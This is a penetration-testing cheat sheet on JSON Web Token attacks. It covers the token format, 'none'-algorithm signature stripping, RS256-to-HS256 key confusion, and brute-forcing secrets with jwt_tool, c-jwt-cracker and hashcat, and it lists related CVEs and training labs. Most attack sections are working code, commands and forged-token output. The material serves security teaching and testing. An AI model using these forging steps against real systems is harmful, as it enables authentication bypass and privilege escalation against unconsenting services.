# JWT - JSON Web Token > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. ## Summary - [JWT - JSON Web Token](#jwt---json-web-token) - [Summary](#summary) - [Tools](#tools) - [JWT Format](#jwt-format) - [Header](#header) - [Payload](#payload) - [JWT Signature - None algorithm](#jwt-signature---none-algorithm) - [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256) - [Breaking JWT's secret](#breaking-jwts-secret) - [JWT tool](#jwt-tool) - [JWT cracker](#jwt-cracker) - [Hashcat](#hashcat) - [CVE](#cve) - [References](#references) ## Tools - [jwt_tool](https://github.com/ticarpi/jwt_tool) - [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) ## JWT Format JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)` Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY` Where we can split it into 3 components separated by a dot. ```powershell eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature ``` ### Header Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature). ```json { "typ": "JWT", "alg": "HS256" } ``` | `alg` Param Value | Digital Signature or MAC Algorithm | Requirements | |---|---|---| | HS256 | HMAC using SHA-256 | Required | | HS384 | HMAC using SHA-384 | Optional | | HS512 | HMAC using SHA-512 | Optional | | RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended | | RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional | | RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional | | ES256 | ECDSA using P-256 and SHA-256 | Recommended | | ES384 | ECDSA using P-384 and SHA-384 | Optional | | ES512 | ECDSA using P-521 and SHA-512 | Optional | | PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional | | PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional | | PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional | | none | No digital signature or MAC performed | Required | ### Payload ```json { "sub":"1234567890", "name":"Amazing Haxx0r", "exp":"1466270722", "admin":true } ``` Claims are the predefined keys and their values: - iss: issuer of the token - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. - iat: The time the JWT was issued. Can be used to determine the age of the JWT - nbf: "not before" is a future time when the token will become active. - jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed. - sub: subject of the token (rarely used) - aud: audience of the token (also rarely used) JWT Encoder – Decoder: `http://jsonwebtoken.io` ## JWT Signature - None algorithm JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application. None algorithm variants: * none * None * NONE * nOnE To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature Alternatively you can modify an existing JWT (be careful with the expiration time) ```python3 #!/usr/bin/python3 # -*- coding: utf-8 -*- import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode()) """ Output: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0. """ ``` ## JWT Signature - RS256 to HS256 Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. > The algorithm HS256 uses the secret key to sign and verify each message. > The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. ```python import jwt public = open('public.pem', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256') ``` :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`. Here are the steps to edit an RS256 JWT token into an HS256 1. Convert our public key (key.pem) into HEX with this command. ```powershell $ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a ``` 2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited. ```powershell $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0 ``` 3. Convert signature (Hex to "base64 URL") ```powershell $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" ``` 4. Add signature to edited payload ```powershell [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA ``` ## Breaking JWT's secret Encode/Decode JWT with the secret. ```python import jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret' encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE" jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key # result {u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'} ``` ### JWT tool First, bruteforce the "secret" key used to compute the signature. ```powershell git clone https://github.com/ticarpi/jwt_tool python3 -m pip install termcolor cprint pycryptodomex requests python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.2.2 \______| @ticarpi Original JWT: [+] secret is the CORRECT key! You can tamper/fuzz the token contents (-T/-I) and sign it using: python3 jwt_tool.py [options here] -S HS256 -p "secret" ``` Then edit the field inside the JSON Web Token. ```powershell Current value of role is: user Please enter new value and hit ENTER > admin [1] sub = 1234567890 [2] role = admin [3] iat = 1516239022 [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 ``` Finally, finish the token by signing it with the previously retrieved "secret" key. ```powershell Token Signing: [1] Sign token with known key [2] Strip signature from token vulnerable to CVE-2015-2951 [3] Sign with Public Key bypass vulnerability [4] Sign token with key file Please select an option from above (1-4): > 1 Please enter the known key: > secret Please enter the key length: [1] HMAC-SHA256 [2] HMAC-SHA384 [3] HMAC-SHA512 > 1 Your new forged token: [+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic ``` * Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` * Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` * Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` * Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` * Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` ### JWT cracker ```bash git clone https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE Secret is "Sn1f" ``` ### Hashcat > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065) ```bash /hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret ``` ## CVE * CVE-2015-2951 - The alg=none signature-bypass vulnerability * CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability * CVE-2018-0114 - Key injection vulnerability * CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability * CVE-2020-28042 - Null signature vulnerability ## Labs * [JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature) * [JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification) * [JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key) * [JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection) * [JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection) * [JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal) ## References - [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) - [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/) - [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/) - [5 Easy Steps to Understanding JSON Web Token](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5) - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) - [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/) - [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//) - [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens) - [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) - [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) - [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) - [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/) - [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/) - [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass) - [Hacking JSON Web Tokens - medium.com Oct 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)